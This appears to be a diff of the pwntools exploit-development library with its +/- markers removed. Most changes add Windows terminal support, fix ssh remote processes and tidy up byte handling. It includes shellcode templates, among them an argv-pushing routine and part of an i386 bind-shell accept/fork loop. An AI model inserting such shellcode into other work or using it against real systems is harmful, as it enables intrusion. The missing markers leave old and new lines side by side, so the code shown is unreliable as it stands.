while num_pointers % 2 != 0:
num_pointers += 1
# Offset from the 'top' of the stack, to the data pointed at
sp_to_data = num_pointers * ctx.bytes
# List of amounts to subtract from $SP
offsets = {}
for i,arg in enumerate(reversed(array)):
offsets[i] = sp_to_data + len(array_str) - len(arg)
# If the array length is ODD we can sneak in our null terminator at the end
if len(array) % 2 == 1:
offsets[len(offsets)] = 'sp'
sorted_offsets = []
for key in sorted(offsets):
sorted_offsets.append(offsets[key])
# Load the offsets into pairs
pairwise_offsets = group(2, sorted_offsets)
%>\
/* push argument array ${repr(array)} */
${shellcraft.pushstr(array_str, register1=register1, register2=register2)}
${shellcraft.pushstr(string, register1=register1, register2=register2)}
/* adjust the stack pointer to account for the array of pointers */
sub sp, sp, ${num_pointers * ctx.bytes}
/* push null terminator */
${shellcraft.mov(register1, 0)}
str ${register1}, [sp, #-8]!
/* push pointers onto the stack in pairs */
%for i, (a, b) in enumerate(pairwise_offsets):
${shellcraft.mov(register1, a)}
${shellcraft.mov(register2, b)}
sub ${register1}, sp, ${register1}
sub ${register2}, sp, ${register2}
stp ${register1}, ${register2}, [sp], ${i * 16}
/* push pointers onto the stack */
%for i, value in enumerate(reversed(array)):
${shellcraft.mov(register1, (i+1)*8 + string.index(value))}
add ${register1}, sp, ${register1}
str ${register1}, [sp, #-8]! /* ${array[-i]} */
%endfor
%if len(array[-1] != 'sp')
/* set ${reg} to the current top of the stack */
${shellcraft.mov(reg,'sp')}
@@ -14,23 +14,15 @@ Arguments:
Example:
>>> gcc = process(['gcc','-m64','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
>>> gcc.write(b'''
... #include <stdio.h>
... int main() {
... printf("Hello, %s!\\n", "amd64");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True) and gcc.recvall()
0
>>> sc = shellcraft.loader_append('a.out')
>>> payload = shellcraft.echo(b'Hello, world!\n') + shellcraft.exit(0)
>>> payloadELF = ELF.from_assembly(payload)
>>> payloadELF.arch
'amd64'
>>> loader = shellcraft.loader_append(payloadELF.data)
>>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)
>>> loaderELF.process().recvall()
b'Hello, world!\n'
The following doctest is commented out because it doesn't work on Travis
for reasons I cannot diagnose. However, it should work just fine :-)
>>> run_assembly(sc).recvline() == b'Hello, amd64!\n'
True
</%docstring>
<%page args="data = None"/>
@@ -48,7 +40,7 @@ ${elf_data}:
<%
import os
if os.path.isfile(data):
if b'\x00' not in data and os.path.isfile(data):
with open(data, 'rb') as f:
data = f.read()
%>
@@ -48,7 +48,7 @@ ${looplabel}:
${i386.linux.push('esi')} /* sock */
${i386.linux.syscall('SYS_socketcall', 'SYS_socketcall_accept', 'esp')}
${i386.linux.mov('ebp', 'eax')} /* keep in-comming socket fd */
${i386.linux.mov('ebp', 'eax')} /* keep in-coming socket fd */
${i386.linux.syscall('SYS_fork')}
xchg eax, edi
@@ -14,23 +14,14 @@ Arguments:
Example:
>>> gcc = process(['gcc','-m32','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
>>> gcc.write(b'''
... #include <stdio.h>
... int main() {
... printf("Hello, %s!\\n", "i386");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True) and gcc.recvall()
0
>>> sc = shellcraft.loader_append('a.out')
The following doctest is commented out because it doesn't work on Travis
for reasons I cannot diagnose. However, it should work just fine :-)
>>> run_assembly(sc).recvline()
b'Hello, i386!\n'
>>> payload = shellcraft.echo(b'Hello, world!\n') + shellcraft.exit(0)
>>> payloadELF = ELF.from_assembly(payload)
>>> payloadELF.arch
'i386'
>>> loader = shellcraft.loader_append(payloadELF.data)
>>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)
>>> loaderELF.process().recvall()
b'Hello, world!\n'
</%docstring>
<%page args="data = None"/>
@@ -48,7 +39,7 @@ ${elf_data}:
<%
import os
if os.path.isfile(data):
if b'\x00' not in data and os.path.isfile(data):
with open(data, 'rb') as f:
data = f.read()
%>
@@ -17,20 +17,16 @@ Example:
The following doctest is commented out because it doesn't work on Travis
for reasons I cannot diagnose. However, it should work just fine :-)
>>> gcc = process(['arm-linux-gnueabihf-gcc','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
>>> gcc.write(b'''
... #include <stdio.h>
... int main() {
... printf("Hello, %s!\\n", "world");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True) and gcc.recvall()
0
>>> sc = shellcraft.loader_append('a.out')
>>> run_assembly(sc).recvline()
>>> payload = shellcraft.echo(b'Hello, world!\n') + shellcraft.exit(0)
>>> payloadELF = ELF.from_assembly(payload)
>>> payloadELF.arch
'arm'
>>> loader = shellcraft.loader_append(payloadELF.data)
>>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)
>>> loaderELF.process().recvall()
b'Hello, world!\n'
</%docstring>
<%page args="data = None"/>
<%
@@ -45,7 +41,7 @@ ${there}:
<%
import os
if os.path.isfile(data):
if b'\x00' not in data and os.path.isfile(data):
with open(data, 'rb') as f:
data = f.read()
%>
+3
View File
@@ -27,6 +27,9 @@ def can_init():
``pwnlib`` manage the terminal.
"""
if sys.platform == 'win32':
return False
if not sys.stdout.isatty():
return False
+1 -1
View File
@@ -18,7 +18,7 @@ __all__ = ['getch', 'getraw', 'get', 'unget']
FLAG_CONVERTKP = True
try: _fd = sys.stdin.fileno()
except Exception: _fd = file('/dev/null', 'r').fileno()
except Exception: _fd = os.open(os.devnull, os.O_RDONLY)
def getch(timeout = 0):
while True:
+6 -6
View File
@@ -368,7 +368,7 @@ keymap = km.Keymap({
'<any>' : handle_keypress,
})
def readline(_size=None, prompt='', float=True, priority=10):
def readline(_size=-1, prompt='', float=True, priority=10):
# The argument _size is unused, but is there for compatibility
# with the existing readline
@@ -379,7 +379,7 @@ def readline(_size=None, prompt='', float=True, priority=10):
from pwnlib.term import term_mode
if not term_mode:
six.print_(prompt, end='', flush=True)
return sys.stdin.readline(_size).rstrip('\n')
return getattr(sys.stdin, 'buffer', sys.stdin).readline(_size).rstrip(b'\n')
show_suggestions = False
eof = False
if prompt:
@@ -433,7 +433,7 @@ def raw_input(prompt='', float=True):
float(bool): If set to `True`, prompt and input will float to the
bottom of the screen when `term.term_mode` is enabled.
"""
return readline(None, prompt, float)
return readline(-1, prompt, float)
def str_input(prompt='', float=True):
r"""str_input(prompt='', float=True)
@@ -446,7 +446,7 @@ def str_input(prompt='', float=True):
float(bool): If set to `True`, prompt and input will float to the
bottom of the screen when `term.term_mode` is enabled.
"""
return readline(None, prompt, float).decode()
return readline(-1, prompt, float).decode()
def eval_input(prompt='', float=True):
"""eval_input(prompt='', float=True)
@@ -465,14 +465,14 @@ def eval_input(prompt='', float=True):
>>> try:
... saved = sys.stdin, pwnlib.term.term_mode
... pwnlib.term.term_mode = False
... sys.stdin = io.StringIO(u"{'a': 20}")
... sys.stdin = io.TextIOWrapper(io.BytesIO(b"{'a': 20}"))
... eval_input("Favorite object? ")['a']
... finally:
... sys.stdin, pwnlib.term.term_mode = saved
Favorite object? 20
"""
from pwnlib.util import safeeval
return safeeval.const(readline(None, prompt, float))
return safeeval.const(readline(-1, prompt, float))
def init():
global safeeval
+4 -2
View File
@@ -2,17 +2,19 @@ from __future__ import absolute_import
from __future__ import division
import atexit
import fcntl
import os
import re
import signal
import six
import struct
import sys
import termios
import threading
import traceback
if sys.platform != 'win32':
import fcntl
import termios
from pwnlib.context import ContextType
from pwnlib.term import termcap
+4 -53
View File
@@ -1,56 +1,7 @@
from __future__ import division
from __future__ import print_function
__all__ = ['get']
import curses
import os
import sys
if sys.platform == 'win32':
from pwnlib.term.windows_termcap import get
else:
from pwnlib.term.unix_termcap import get
cache = None
def get(cap, *args, **kwargs):
default = kwargs.pop('default', '')
if 'PWNLIB_NOTERM' in os.environ:
return ''
# Hack for readthedocs.org
if 'READTHEDOCS' in os.environ:
return ''
if kwargs != {}:
raise TypeError("get(): No such argument %r" % kwargs.popitem()[0])
if cache == None:
init()
s = cache.get(cap)
if not s:
s = curses.tigetstr(cap)
if s == None:
s = curses.tigetnum(cap)
if s == -2:
s = curses.tigetflag(cap)
if s == -1:
# default to empty string so tparm doesn't fail
s = ''
else:
s = bool(s)
cache[cap] = s
# if `s' is not set `curses.tparm' will throw an error if given arguments
if args and s:
return curses.tparm(s, *args)
else:
return s
def init():
global cache
if 'PWNLIB_NOTERM' not in os.environ:
# Fix for BPython
try:
curses.setupterm()
except curses.error as e:
import traceback
print('Warning:', ''.join(traceback.format_exception_only(e.__class__, e)), file=sys.stderr)
cache = {}
+1 -1
View File
@@ -40,7 +40,7 @@ class Module(types.ModuleType):
'cyan': 6,
'white': 7,
}
self._reset = '\x1b[m'
self._reset = termcap.get('reset')
self._attributes = {}
for x, y in [('italic' , 'sitm'),
('bold' , 'bold'),
+59
View File
@@ -0,0 +1,59 @@
from __future__ import division
from __future__ import print_function
__all__ = ['get']
import curses
import os
import sys
cache = None
def get(cap, *args, **kwargs):
default = kwargs.pop('default', '')
if 'PWNLIB_NOTERM' in os.environ:
return ''
# Hack for readthedocs.org
if 'READTHEDOCS' in os.environ:
return ''
if kwargs != {}:
raise TypeError("get(): No such argument %r" % kwargs.popitem()[0])
if cache is None:
init()
s = cache.get(cap)
if not s:
s = curses.tigetstr(cap)
if s is None:
s = curses.tigetnum(cap)
if s == -2:
s = curses.tigetflag(cap)
if s == -1:
# default to empty string so tparm doesn't fail
s = ''
else:
s = bool(s)
cache[cap] = s
# if `s' is not set `curses.tparm' will throw an error if given arguments
if args and s:
return curses.tparm(s, *args)
else:
return s
def init():
global cache
if 'PWNLIB_NOTERM' not in os.environ:
# Fix for BPython
try:
curses.setupterm()
except curses.error as e:
import traceback
print('Warning:', ''.join(traceback.format_exception_only(e.__class__, e)), file=sys.stderr)
cache = {}
# Manually add reset sequence into the cache.
# Can't look it up using tigetstr.
cache['reset'] = '\x1b[m'
+90
View File
@@ -0,0 +1,90 @@
import os
import msvcrt
import ctypes
import sys
from ctypes import wintypes
__all__ = ['get']
cache = None
def get(cap, *args, **kwargs):
default = kwargs.pop('default', '')
if 'PWNLIB_NOTERM' in os.environ:
return default
if kwargs != {}:
raise TypeError("get(): No such argument %r" % kwargs.popitem()[0])
if cache is None:
init()
s = cache.get(cap)
if s:
if args:
return s(*args)
return s
return default
def init():
global cache
cache = {}
if 'PWNLIB_NOTERM' not in os.environ:
try:
enable_vt_mode()
except:
# If the terminal doesn't support ANSI escape codes, don't use them.
return
# Setup capabilities similar to curses on unix.
# https://docs.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences
cache['colors'] = 256
cache['reset'] = '\x1b[0m'
cache['bold'] = '\x1b[1m'
cache['smul'] = '\x1b[4m'
cache['rev'] = '\x1b[7m'
cache['setaf'] = lambda c: '\x1b[3{}m'.format(c) if c < 8 else '\x1b[9{}m'.format(c-8)
cache['setab'] = lambda c: '\x1b[4{}m'.format(c) if c < 8 else '\x1b[10{}m'.format(c-8)
# Enable ANSI escape sequences on Windows 10.
# https://bugs.python.org/issue30075
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
ERROR_INVALID_PARAMETER = 0x0057
ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004
def _check_bool(result, func, args):
if not result:
raise ctypes.WinError(ctypes.get_last_error())
return args
LPDWORD = ctypes.POINTER(wintypes.DWORD)
kernel32.GetConsoleMode.errcheck = _check_bool
kernel32.GetConsoleMode.argtypes = (wintypes.HANDLE, LPDWORD)
kernel32.SetConsoleMode.errcheck = _check_bool
kernel32.SetConsoleMode.argtypes = (wintypes.HANDLE, wintypes.DWORD)
def set_conout_mode(new_mode, mask=0xffffffff):
# don't assume StandardOutput is a console.
# open CONOUT$ instead
fdout = os.open('CONOUT$', os.O_RDWR)
try:
hout = msvcrt.get_osfhandle(fdout)
old_mode = wintypes.DWORD()
kernel32.GetConsoleMode(hout, ctypes.byref(old_mode))
mode = (new_mode & mask) | (old_mode.value & ~mask)
kernel32.SetConsoleMode(hout, mode)
return old_mode.value
finally:
os.close(fdout)
def enable_vt_mode():
mode = mask = ENABLE_VIRTUAL_TERMINAL_PROCESSING
try:
return set_conout_mode(mode, mask)
except WindowsError as e:
if e.winerror == ERROR_INVALID_PARAMETER:
raise NotImplementedError
raise
+31 -23
View File
@@ -4,19 +4,22 @@ from __future__ import division
import ctypes
import errno
import fcntl
import logging
import os
import platform
import pty
import resource
import select
import signal
import six
import stat
import subprocess
import sys
import time
import tty
if sys.platform != 'win32':
import fcntl
import pty
import resource
import tty
from pwnlib import qemu
from pwnlib.context import context
@@ -239,8 +242,10 @@ class process(tube):
#: :class:`subprocess.Popen` object that backs this process
self.proc = None
if not shell:
executable, argv, env = self._validate(cwd, executable, argv, env)
if shell:
executable_val, argv_val, env_val = executable, argv, env
else:
executable_val, argv_val, env_val = self._validate(cwd, executable, argv, env)
# Avoid the need to have to deal with the STDOUT magic value.
if stderr is STDOUT:
@@ -265,10 +270,10 @@ class process(tube):
stdin, stdout, stderr, master, slave = self._handles(*handles)
#: Arguments passed on argv
self.argv = argv
self.argv = argv_val
#: Full path to the executable
self.executable = executable
self.executable = executable_val
if self.executable is None:
if shell:
@@ -277,7 +282,7 @@ class process(tube):
self.executable = which(self.argv[0])
#: Environment passed on envp
self.env = os.environ if env is None else env
self.env = os.environ if env is None else env_val
self._cwd = os.path.realpath(cwd or os.path.curdir)
@@ -292,8 +297,8 @@ class process(tube):
message = "Starting %s process %r" % (where, self.display)
if self.isEnabledFor(logging.DEBUG):
if self.argv != [self.executable]: message += ' argv=%r ' % self.argv
if self.env != os.environ: message += ' env=%r ' % self.env
if argv != [self.executable]: message += ' argv=%r ' % self.argv
if env not in (os.environ, None): message += ' env=%r ' % self.env
with self.progress(message) as p:
@@ -309,14 +314,14 @@ class process(tube):
for prefix, executable in prefixes:
try:
args = argv
args = self.argv
if prefix:
args = prefix + args
self.proc = subprocess.Popen(args = args,
shell = shell,
executable = executable,
cwd = cwd,
env = env,
env = self.env,
stdin = stdin,
stdout = stdout,
stderr = stderr,
@@ -924,20 +929,23 @@ class process(tube):
import pwnlib.elf.corefile
import pwnlib.gdb
if self.poll() is None:
return pwnlib.gdb.corefile(self)
try:
if self.poll() is None:
return pwnlib.gdb.corefile(self)
finder = pwnlib.elf.corefile.CorefileFinder(self)
if not finder.core_path:
self.warn("Could not find core file for pid %i" % self.pid)
return Ellipsis ##
finder = pwnlib.elf.corefile.CorefileFinder(self)
if not finder.core_path:
self.warn("Could not find core file for pid %i" % self.pid)
return None
core_hash = sha256file(finder.core_path)
core_hash = sha256file(finder.core_path)
if self._corefile and self._corefile._hash == core_hash:
return self._corefile
if self._corefile and self._corefile._hash == core_hash:
return self._corefile
self._corefile = pwnlib.elf.corefile.Corefile(finder.core_path)
self._corefile = pwnlib.elf.corefile.Corefile(finder.core_path)
except AttributeError as e:
raise RuntimeError(e) # AttributeError would route through __getattr__, losing original message
self._corefile._hash = core_hash
return self._corefile
+38 -23
View File
@@ -30,7 +30,7 @@ from pwnlib.util.sh_string import sh_string
# Kill the warning line:
# No handlers could be found for logger "paramiko.transport"
paramiko_log = logging.getLogger("paramiko.transport")
h = logging.StreamHandler(open('/dev/null','w+'))
h = logging.StreamHandler(open(os.devnull,'w+'))
h.setFormatter(logging.Formatter())
paramiko_log.addHandler(h)
@@ -67,9 +67,9 @@ class ssh_channel(sock):
self.tty = tty
self.env = env
self.process = process
self.cwd = wd or '.'
if isinstance(wd, six.text_type):
wd = wd.encode('utf-8')
self.cwd = wd or b'.'
env = env or {}
msg = 'Opening new channel: %r' % (process or 'shell')
@@ -560,6 +560,9 @@ class ssh(Timeout, Logger):
Example proxying:
.. doctest::
:skipif: github_actions
>>> s1 = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
@@ -631,7 +634,7 @@ class ssh(Timeout, Logger):
if os.path.exists(known_hosts):
self.client.load_host_keys(known_hosts)
has_proxy = (proxy_sock or proxy_command) and True
has_proxy = bool(proxy_sock or proxy_command)
if has_proxy:
if 'ProxyCommand' not in dir(paramiko):
self.error('This version of paramiko does not support proxies.')
@@ -828,10 +831,14 @@ class ssh(Timeout, Logger):
>>> print(s.process('false', preexec_fn=uses_globals).recvall().strip().decode()) # doctest: +ELLIPSIS
Traceback (most recent call last):
...
NameError: global name 'bar' is not defined
NameError: ... name 'bar' is not defined
>>> s.process('echo hello', shell=True).recvall()
b'hello\n'
>>> io = s.process(['cat'], timeout=5)
>>> io.recvline()
b''
"""
if not argv and not executable:
self.error("Must specify argv or executable")
@@ -865,10 +872,14 @@ class ssh(Timeout, Logger):
arg = oarg
if b'\x00' in arg[:-1]:
self.error('Inappropriate nulls in argv[%i]: %r' % (i, oarg))
argv[i] = arg.rstrip(b'\x00')
argv[i] = bytearray(arg.rstrip(b'\x00'))
if env is not None and not isinstance(env, dict) and env != os.environ:
self.error("env must be a dict: %r" % env)
# Converts the environment variables to a list of tuples to retain order.
env2 = []
# Python also doesn't like when envp contains '\x00'
env2 = {}
if env and hasattr(env, 'items'):
for k, v in env.items():
if isinstance(k, six.text_type):
@@ -879,17 +890,16 @@ class ssh(Timeout, Logger):
self.error('Inappropriate nulls in environment key %r' % k)
if b'\x00' in v[:-1]:
self.error('Inappropriate nulls in environment value %r=%r' % (k, v))
env2[k.rstrip(b'\x00')] = v.rstrip(b'\x00')
env2.append((bytearray(k.rstrip(b'\x00')), bytearray(v.rstrip(b'\x00'))))
env = env2 or env
executable = executable or argv[0]
cwd = cwd or self.cwd
# Validate, since failures on the remote side will suck.
if not isinstance(executable, (six.text_type, six.binary_type)):
if not isinstance(executable, (six.text_type, six.binary_type, bytearray)):
self.error("executable / argv[0] must be a string: %r" % executable)
if env is not None and not isinstance(env, dict) and env != os.environ:
self.error("env must be a dict: %r" % env)
executable = context._decode(executable)
# Allow passing in sys.stdin/stdout/stderr objects
handles = {sys.stdin: 0, sys.stdout:1, sys.stderr:2}
@@ -911,20 +921,21 @@ class ssh(Timeout, Logger):
func_src = inspect.getsource(func).strip()
setuid = True if setuid is None else bool(setuid)
script = r"""
#!/usr/bin/env python2
#!/usr/bin/env python
import os, sys, ctypes, resource, platform, stat
from collections import OrderedDict
exe = %(executable)r
argv = %(argv)r
argv = [bytes(a) for a in %(argv)r]
env = %(env)r
os.chdir(%(cwd)r)
if env is not None:
env = OrderedDict((bytes(k), bytes(v)) for k,v in env)
os.environ.clear()
os.environ.update(env)
getattr(os, 'environb', os.environ).update(env)
else:
env = os.environ
@@ -984,10 +995,11 @@ if sys.argv[-1] == 'check':
for fd, newfd in {0: %(stdin)r, 1: %(stdout)r, 2:%(stderr)r}.items():
if newfd is None:
close(fd)
elif isinstance(newfd, str):
os.close(fd)
os.open(newfd, os.O_RDONLY if fd == 0 else (os.O_RDWR|os.O_CREAT))
elif isinstance(newfd, (str, bytes)):
newfd = os.open(newfd, os.O_RDONLY if fd == 0 else (os.O_RDWR|os.O_CREAT))
os.dup2(newfd, fd)
os.close(newfd)
elif isinstance(newfd, int) and newfd != fd:
os.dup2(fd, newfd)
@@ -1012,7 +1024,7 @@ except Exception:
pass
%(func_src)s
apply(%(func_name)s, %(func_args)r)
%(func_name)s(*%(func_args)r)
os.execve(exe, argv, env)
""" % locals()
@@ -1044,17 +1056,20 @@ os.execve(exe, argv, env)
msg = 'Starting remote process %s on %s' % (execve_repr, self.host)
if timeout == Timeout.default:
timeout = self.timeout
with self.progress(msg) as h:
script = 'for py in python2.7 python2 python; do test -x "$(which $py 2>&1)" && exec $py -c %s check; done; echo 2' % sh_string(script)
with context.local(log_level='error'):
python = ssh_process(self, script, tty=True, raw=True, level=self.level, timeout=self.timeout)
with context.quiet:
python = ssh_process(self, script, tty=True, raw=True, level=self.level, timeout=timeout)
try:
result = safeeval.const(python.recvline())
except Exception:
except (EOFError, ValueError):
h.failure("Process creation failed")
self.warn_once('Could not find a Python2 interpreter on %s\n' % self.host \
self.warn_once('Could not find a Python interpreter on %s\n' % self.host \
+ "Use ssh.run() instead of ssh.process()")
return None
@@ -1078,7 +1093,7 @@ os.execve(exe, argv, env)
python.suid = safeeval.const(python.recvline())
python.sgid = safeeval.const(python.recvline())
python.argv = argv
python.executable = python.recvuntil(b'\x00')[:-1]
python.executable = context._decode(python.recvuntil(b'\x00')[:-1])
h.success('pid %i' % python.pid)
+3 -3
View File
@@ -1376,11 +1376,11 @@ class tube(Timeout, Logger):
def wrapperb(self, *a, **kw):
return bytearray(func(self, *a, **kw))
def wrapperS(self, *a, **kw):
return context._encode(func(self, *a, **kw))
return context._decode(func(self, *a, **kw))
wrapperb.__doc__ = 'Same as :meth:`{func.__name__}`, but returns a bytearray'.format(func=func)
wrapperb.__name__ = func.__name__ + 'b'
wrapperS.__doc__ = 'Same as :meth:`{func.__name__}`, but returns a str,' \
'decoding the result using `context.encoding`.' \
wrapperS.__doc__ = 'Same as :meth:`{func.__name__}`, but returns a str, ' \
'decoding the result using `context.encoding`. ' \
'(note that the binary versions are way faster)'.format(func=func)
wrapperS.__name__ = func.__name__ + 'S'
return wrapperb, wrapperS
+8 -8
View File
@@ -1,7 +1,6 @@
from __future__ import absolute_import
from __future__ import division
import fcntl
import os
import signal
import six
@@ -9,7 +8,6 @@ import string
import struct
import subprocess
import sys
import termios
import time
import types
@@ -21,6 +19,8 @@ from pwnlib.tubes.process import process
log = getLogger(__name__)
def testpwnproc(cmd):
import fcntl
import termios
env = dict(os.environ)
env.pop("PWNLIB_NOTERM", None)
env["TERM"] = "xterm-256color"
@@ -63,7 +63,7 @@ def yesno(prompt, default=None):
ValueError: yesno(): default must be a boolean or None
>>> saved_stdin = sys.stdin
>>> try:
... sys.stdin = io.StringIO(u"x\nyes\nno\n\n")
... sys.stdin = io.TextIOWrapper(io.BytesIO(b"x\nyes\nno\n\n"))
... yesno("is it good 1")
... yesno("is it good 2", True)
... yesno("is it good 3", False)
@@ -114,12 +114,12 @@ def yesno(prompt, default=None):
'No' if default is False else 'no',
)
while True:
opt = raw_input(prompt).lower()
opt = raw_input(prompt).strip().lower()
if not opt and default is not None:
return default
elif opt in ('y','yes'):
elif opt in (b'y', b'yes'):
return True
elif opt in ('n', 'no'):
elif opt in (b'n', b'no'):
return False
print('Please answer yes or no')
@@ -147,7 +147,7 @@ def options(prompt, opts, default = None):
>>> _ = p.recvall()
>>> saved_stdin = sys.stdin
>>> try:
... sys.stdin = io.StringIO(u"\n4\n\n3\n")
... sys.stdin = io.TextIOWrapper(io.BytesIO(b"\n4\n\n3\n"))
... with context.local(log_level="INFO"):
... options("select a color A", ("red", "green", "blue"), 0)
... options("select a color B", ("red", "green", "blue"))
@@ -265,7 +265,7 @@ def pause(n=None):
Tests:
>>> saved_stdin = sys.stdin
>>> try:
... sys.stdin = io.StringIO(u"\n")
... sys.stdin = io.TextIOWrapper(io.BytesIO(b"\n"))
... with context.local(log_level="INFO"):
... pause()
... finally:
+34 -3
View File
@@ -9,7 +9,14 @@ every week. It can be permanently disabled via:
.. code-block:: bash
$ echo never > ~/.pwntools-cache/update
$ echo never > ~/.pwntools-cache-*/update
Or adding the following lines to ~/.pwn.conf (or system-wide /etc/pwn.conf):
.. code-block::
[update]
interval=never
"""
from __future__ import absolute_import
@@ -24,6 +31,7 @@ from six.moves.xmlrpc_client import ServerProxy
import packaging.version
from pwnlib.config import register_config
from pwnlib.context import context
from pwnlib.log import getLogger
from pwnlib.util.misc import read
@@ -37,6 +45,26 @@ current_version = packaging.version.Version(__version__)
package_name = 'pwntools'
package_repo = 'Gallopsled/pwntools'
update_freq = datetime.timedelta(days=7).total_seconds()
disabled = False
def read_update_config(settings):
for key, value in settings.items():
if key == 'interval':
if value == 'never':
global disabled
disabled = True
else:
try:
value = int(value)
except ValueError:
log.warn("Wrong value")
else:
global update_freq
update_freq = datetime.timedelta(days=value).total_seconds()
else:
log.warn("Unknown configuration option %r in section %r" % (key, 'update'))
register_config('update', read_update_config)
def available_on_pypi(prerelease=current_version.is_prerelease):
"""Return True if an update is available on PyPI.
@@ -88,7 +116,7 @@ def should_check():
if not filename:
return False
if read(filename).strip() == b'never':
if disabled or read(filename).strip() == b'never':
return False
return time.time() > (last_check() + update_freq)
@@ -160,6 +188,9 @@ def perform_check(prerelease=current_version.is_prerelease):
def check_automatically():
if should_check():
message = ["Checking for new versions of %s" % package_name]
message += ["To disable this functionality, set the contents of %s to 'never'." % cache_file()]
message += ["To disable this functionality, set the contents of %s to 'never' (old way)." % cache_file()]
message += ["""Or add the following lines to ~/.pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never"""]
log.info("\n".join(message))
perform_check()
+25 -4
View File
@@ -136,6 +136,13 @@ def consume(n, iterator):
>>> consume(2, i)
>>> list(i)
[3, 4, 5]
>>> def g():
... for i in range(2):
... yield i
... print(i)
>>> consume(None, g())
0
1
"""
# Use functions that consume iterators at C speed.
if n is None:
@@ -725,6 +732,12 @@ def chained(func):
... yield (x, -x)
>>> take(6, g())
[0, 0, 1, -1, 2, -2]
>>> @chained
... def g2():
... for x in range(3):
... yield (x, -x)
>>> list(g2())
[0, 0, 1, -1, 2, -2]
"""
def wrapper(*args, **kwargs):
for xs in func(*args, **kwargs):
@@ -758,10 +771,8 @@ def bruteforce(func, alphabet, length, method = 'upto', start = None, databag =
if the search space was exhausted.
Example:
>>> bruteforce(lambda x: x == 'hello', string.ascii_lowercase, length = 10)
'hello'
>>> bruteforce(lambda x: x == 'hello', 'hllo', 5) is None
True
>>> bruteforce(lambda x: x == 'yes', string.ascii_lowercase, length=5)
'yes'
"""
if method == 'upto' and length > 1:
@@ -841,6 +852,16 @@ def mbruteforce(func, alphabet, length, method = 'upto', start = None, threads =
Arguments:
func, alphabet, length, method, start: same as for bruteforce()
threads: Amount of threads to spawn, default is the amount of cores.
Example:
>>> mbruteforce(lambda x: x == 'hello', string.ascii_lowercase, length = 10)
'hello'
>>> mbruteforce(lambda x: x == 'hello', 'hlo', 5, 'downfrom') is None
True
>>> mbruteforce(lambda x: x == 'no', string.ascii_lowercase, length=2, method='fixed')
'no'
>>> mbruteforce(lambda x: x == '9999', string.digits, length=4, threads=1, start=(2, 2))
'9999'
"""
def bruteforcewrap(func, alphabet, length, method, start, databag):
+8
View File
@@ -24,6 +24,8 @@ def partition(lst, f, save_keys = False):
Example:
>>> partition([1,2,3,4,5], lambda x: x&1)
[[1, 3, 5], [2, 4]]
>>> partition([1,2,3,4,5], lambda x: x%3, save_keys=True)
OrderedDict([(1, [1, 4]), (2, [2, 5]), (0, [3])])
"""
d = collections.OrderedDict()
@@ -61,6 +63,8 @@ def group(n, lst, underfull_action = 'ignore', fill_value = None):
['ABC', 'DEF', 'GZZ']
>>> group(3, list('ABCDEFG'), 'fill')
[['A', 'B', 'C'], ['D', 'E', 'F'], ['G', None, None]]
>>> group(2, tuple('1234'), 'fill')
[('1', '2'), ('3', '4')]
"""
if underfull_action not in ['ignore', 'drop', 'fill']:
@@ -165,6 +169,10 @@ def findall(haystack, needle):
4
>>> next(foo)
6
>>> list(foo) # no more appearances
[]
>>> list(findall("aaabaaabc", "aab"))
[1, 5]
"""
def __kmp_table(W):
pos = 1
+5 -5
View File
@@ -5,6 +5,7 @@ import errno
import os
import platform
import re
import six
import socket
import stat
import string
@@ -25,7 +26,7 @@ def align(alignment, x):
>>> [align(5, n) for n in range(15)]
[0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10, 15, 15, 15, 15]
"""
return ((x + alignment - 1) // alignment) * alignment
return x + -x % alignment
def align_down(alignment, x):
@@ -37,8 +38,7 @@ def align_down(alignment, x):
>>> [align_down(5, n) for n in range(15)]
[0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10]
"""
a = alignment
return (x // a) * a
return x - x % alignment
def binary_ip(host):
@@ -136,7 +136,7 @@ def which(name, all = False):
returns a full path if found.
If `all` is :const:`True` the set of all found locations is returned, else
the first occurence or :const:`None` is returned.
the first occurrence or :const:`None` is returned.
Arguments:
`name` (str): The file to search for.
@@ -238,7 +238,7 @@ def run_in_new_terminal(command, terminal = None, args = None):
argv = [which(terminal)] + args
if isinstance(command, str):
if isinstance(command, six.string_types):
if ';' in command:
log.error("Cannot use commands with semicolon. Create a script and invoke that directly.")
argv += [command]
+11 -1
View File
@@ -59,8 +59,10 @@ struct_ifaddrs._fields_ = [
('ifa_data' , ctypes.c_void_p) ,
]
AddressFamily = getattr(socket, 'AddressFamily', int)
def sockaddr_fixup(saptr):
family = saptr.contents.sa_family
family = AddressFamily(saptr.contents.sa_family)
addr = {}
if family == socket.AF_INET:
sa = ctypes.cast(saptr, ctypes.POINTER(struct_sockaddr_in)).contents
@@ -162,6 +164,10 @@ def interfaces4(all = False):
Returns:
A dictionary mapping each of the hosts interfaces to a list of it's
IPv4 addresses.
Examples:
>>> interfaces4(all=True) # doctest: +ELLIPSIS
{...'127.0.0.1'...}
"""
out = {}
for name, addrs in interfaces(all = all).items():
@@ -183,6 +189,10 @@ def interfaces6(all = False):
Returns:
A dictionary mapping each of the hosts interfaces to a list of it's
IPv6 addresses.
Examples:
>>> interfaces6() # doctest: +ELLIPSIS
{...'::1'...}
"""
out = {}
for name, addrs in interfaces(all = all).items():
+105 -22
View File
@@ -33,6 +33,7 @@ Examples:
from __future__ import absolute_import
from __future__ import division
import collections
import six
import struct
import sys
@@ -491,9 +492,11 @@ def _fit(pieces, preprocessor, packer, filler):
pad = bytearray()
def fill(key):
key = bytearray(key)
while len(pad) < len(key) or pad[-len(key):] != key:
offset = pad.find(key)
while offset == -1:
pad.append(next(filler))
return len(pad) - len(key)
offset = pad.find(key, -len(key))
return offset
# Key conversion:
# - convert str/unicode keys to offsets
@@ -614,26 +617,103 @@ def flat(*args, **kwargs):
